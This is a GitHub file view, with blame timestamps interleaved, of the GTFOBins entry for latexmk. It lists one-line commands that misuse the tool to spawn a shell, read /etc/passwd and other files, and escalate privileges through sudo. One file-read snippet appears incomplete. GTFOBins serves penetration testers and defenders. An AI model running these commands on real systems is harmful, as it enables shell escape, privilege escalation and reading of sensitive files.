GTFOBins.github.io/_gtfobins/latexmk.tex

15 lines
561 B
TeX
Raw Normal View History

description: This allows to execute [`perl`](/gtfobins/perl/) code.
2021-04-22 22:15:40 +02:00
functions:
shell:
- code: latexmk -e 'exec "/bin/sh";'
- code: latexmk -latex='/bin/sh #' /dev/null
2021-04-22 22:15:40 +02:00
file-read:
- code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
- description: The read file will be part of the output.
code: |
TF=$(mktemp)
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
strings tmp.dvi
2021-04-22 22:15:40 +02:00
sudo:
- code: sudo latexmk -e 'exec "/bin/sh";'